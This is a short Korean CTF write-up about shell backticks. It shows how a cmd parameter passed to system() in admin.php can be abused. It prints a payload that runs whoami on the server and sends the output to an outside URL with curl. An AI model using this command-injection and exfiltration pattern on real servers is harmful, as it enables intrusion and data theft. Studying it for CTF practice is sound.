백 쿼터 (` `)

백 쿼터 안에 있는 문자열을 명령어로 인식하게 만든다.

 

예를 보면서 이해해보자.

 

 

이걸 적는 이유는 ctf 문제 때문이다.

admin.php 에 get 방식으로 cmd 라는 변수로 vaule를 넘기면 system 함수를 실행하는 문제였다.
(실제로 문제 소스 코드는 저렇지 않았다.)

 

 

 

이 문제가 SSRF 취약점을 이용하는 문제였다.

서버가 클라이언트에게 요청을 보내는 방법에서 발생한 취약점인데,

아래 처럼 curl 과 백 쿼터를 이용하여 써먹을 수 있다.

 

Attacker 가 value 를 curl https://univ-blog.xyz/?result=`whoami` 라고 보내게 되면 server에서 백 쿼터로 감싸여 있는 whoami 명령어를 실행한 후
그 출력 값을 result 라는 변수에 담아, 해당 url 에 요청을 보낸다.

 

이때 https://univ-blog.xyz 의 Web log 를 보면 아래처럼 출력이 된것을 확인 할 수 있다.